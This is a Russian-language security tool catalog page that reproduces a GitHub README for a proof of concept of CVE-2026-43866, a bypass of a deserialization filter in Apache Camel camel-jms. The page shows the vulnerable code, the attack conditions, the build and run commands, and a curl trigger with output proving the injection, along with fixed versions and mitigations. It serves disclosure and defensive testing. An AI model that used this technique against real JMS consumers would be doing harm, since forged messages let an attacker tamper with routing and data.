Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-43866 — Воспроизведение CVE-2026-43866 — Apache Camel camel-jms подделка DefaultExchangeHolder в обход фильтра десериализации CVE-2026-40860 (инъекция состояния обмена) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-43866
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHuboscerd/cve-2026-43866

CVE-2026-43866

Воспроизведение CVE-2026-43866 — Apache Camel camel-jms подделка DefaultExchangeHolder в обход фильтра десериализации CVE-2026-40860 (инъекция состояния обмена)

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-jms Воспроизводитель обхода фильтра поддельного DefaultExchangeHolder (CVE-2026-43866)

Этот проект демонстрирует CVE-2026-43866, обход исправления CVE-2026-40860 в компонентах camel-jms (и camel-sjms / семейства JMS) Apache Camel. CVE-2026-40860 добавил белый список классов после десериализации (java.**;javax.**;org.apache.camel.**;!*) для входящих полезных нагрузок ObjectMessage JMS. Но org.apache.camel.support.DefaultExchangeHolder находится в разрешённом пространстве имён org.apache.camel.**, поэтому ObjectMessage, чей объект верхнего уровня является DefaultExchangeHolder, проходит проверку. Принимающая сторона затем вызывает для него необходимости , записывая каждое ненулевое поле держателя в маршрутизируемый Exchange (тело, заголовки IN/OUT, свойства обмена, переменные, идентификатор обмена, исключение). Атакующий, который может опубликовать , может, таким образом, — чтобы манипулировать маршрутизацией, заголовками, свойствами и обработкой ошибок.

DefaultExchangeHolder.unmarshal()
без
transferExchange
ObjectMessage
внедрить произвольное состояние Exchange, используя только общепринятые типы java.* — без необходимости цепочки гаджетов десериализации

Консультация: https://camel.apache.org/security/CVE-2026-43866.html

Краткое описание уязвимости

СвойствоЗначение
Компонентыcamel-jms (+ camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6)
Затрагиваемый классorg.apache.camel.component.jms.JmsBinding#extractBodyFromJms → DefaultExchangeHolder.unmarshal
CWECWE-502 (Десериализация недоверенных данных) + CWE-20 (Некорректная проверка входных данных)
ВоздействиеИнъекция состояния Exchange: управляемое атакующим тело, заголовки, свойства, переменные, исключение
ХарактерОбход исправления фильтра классов CVE-2026-40860 (не ошибка в нём)
Затронутые версииС 3.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0
Исправленные версии4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23373 (jms), CAMEL-23409 (sjms)
Автор отчетаgaorenyusi

Технические подробности

root@kitploit:~
// JmsBinding.extractBodyFromJms(...) - affected 4.18.2
if (message instanceof ObjectMessage objectMessage) {
    Object payload = objectMessage.getObject();
    checkDeserializedClass(payload);                        // CVE-2026-40860 allow-list: java.**;javax.**;org.apache.camel.**;!*
    if (payload instanceof DefaultExchangeHolder holder) {  // <-- DefaultExchangeHolder is org.apache.camel.** -> passes
        DefaultExchangeHolder.unmarshal(exchange, holder);  // <-- writes forged state into the Exchange; NO transferExchange gate
        Map<String, Object> jmsHeaders = extractHeadersFromJms(message, exchange);
        exchange.getIn().getHeaders().putAll(jmsHeaders);
        return exchange.getIn().getBody();
    } else {
        return payload;
    }
}

Асимметрия: отправляющая сторона блокирует создание ObjectMessage/transferExchange, но принимающая сторона десериализует любой DefaultExchangeHolder, который она десериализует. Исправление (4.14.8 / 4.18.3 / 4.21.0) добавляет новую опцию objectMessageEnabled (security = "insecure:serialization", по умолчанию false) — входящий ObjectMessage больше не десериализуется вообще, если не включён явно, поэтому поддельный держатель никогда не может достичь unmarshal(). (Это критическое изменение для маршрутов, которые полагаются на ObjectMessage / transferExchange).

Белый список JMS-провайдера не помогает. Этот PoC настраивает клиент ActiveMQ с реалистичным, заблокированным trustedPackages = [java, javax, org.apache.camel] — запись org.apache.camel — это именно то, чему должно доверять развёртывание, использующее легитимный transferExchange. Поддельный держатель всё равно проходит, потому что он сам является DefaultExchangeHolder, все поля которого являются доверенными типами java.*, неотличимыми от легитимного.

Маршрут жертвы

root@kitploit:~
from("jms:queue:cve")                 // mapJmsMessage defaults to true; transferExchange NOT set
    .process(exchange -> { /* observes the injected body / headers / properties */ });

Структура репозитория — атакующий vs. жертва

Жертва — потребитель Camel JMS. Атакующий — любой производитель, который может публиковать в очередь. Оба взаимодействуют с реальным брокером Apache ActiveMQ Artemis в Docker.

root@kitploit:~
CVE-2026-43866/
├── pom.xml                 # camel-jms 4.18.2 + activemq-client 6.2.4  (NO gadget library)
├── Dockerfile              # runs the app (no --add-opens; no gadget)
├── docker-compose.yml      # Artemis broker (quay.io) + the reproducer app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── JmsConfig.java            # OpenWire ConnectionFactory (trustedPackages incl. org.apache.camel) + jms component
    │   ├── VictimRoute.java          # victim: from("jms:queue:cve"); records what the route observed
    │   ├── CapturedState.java
    │   ├── ForgedHolderFactory.java  # builds a DefaultExchangeHolder via the public marshal() API
    │   └── ExploitController.java    # attacker: publishes the forged holder as an ObjectMessage
    └── resources/
        └── application.properties

Предварительные требования

  • Java 17+ и Maven 3.8+
  • Docker (запускает брокер и приложение)

Шаги воспроизведения

Шаг 1: Сборка и запуск всего

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Шаг 2: Запуск обхода

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Published a forged DefaultExchangeHolder as a JMS ObjectMessage to queue 'cve'.
#    ...
#      body      = INJECTED-BODY-...      (injected: true)
#      header    = pwned-header-...       (injected: true)
#      property  = pwned-property-...     (injected: true)
#
#    >>> Exchange-state injection proof — attacker controlled body+header+property: true

Маршрут выполнился с телом, заголовком и свойством, которые он никогда не устанавливал — все они были предоставлены поддельным держателем атакующего.

Очистка

root@kitploit:~
docker compose down

Векторы атаки

Любой потребитель Camel JMS (camel-jms, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) с mapJmsMessage=true (по умолчанию), читающий из места назначения, в которое атакующий может публиковать. Включение transferExchange не требуется на потребителе.

Условия эксплуатации

  1. Потребитель Camel JMS с mapJmsMessage=true (по умолчанию) в уязвимой версии.
  2. Атакующий может поставить в очередь ObjectMessage, полезная нагрузка которого является DefaultExchangeHolder.
  3. JMS-провайдер десериализует полезную нагрузку — что для любого развёртывания, использующего transferExchange, означает, что провайдер уже доверяет org.apache.camel. Библиотека гаджетов не требуется.

Рекомендуемое исправление

Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23373 / CAMEL-23409). Обработка JMS ObjectMessage отключена по умолчанию с помощью новой опции objectMessageEnabled; включайте её только для мест назначения, которые питаются исключительно доверенными производителями.

Меры смягчения

До обновления:

  1. Ограничьте доступ на публикацию в очереди/топики, потребляемые Camel, только доверенными производителями с помощью авторизации JMS-брокера.
  2. Не подвергайте потребителей JMS, которые отображают тела ObjectMessage, в недоверенные сети.
  3. Примечание: белый список десериализации JMS-провайдера не смягчает этот конкретный обход (полезная нагрузка использует только общепринятые классы плюс DefaultExchangeHolder).

Отказ от ответственности

Этот воспроизводитель предоставлен только для целей исследования безопасности и авторизованного тестирования для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент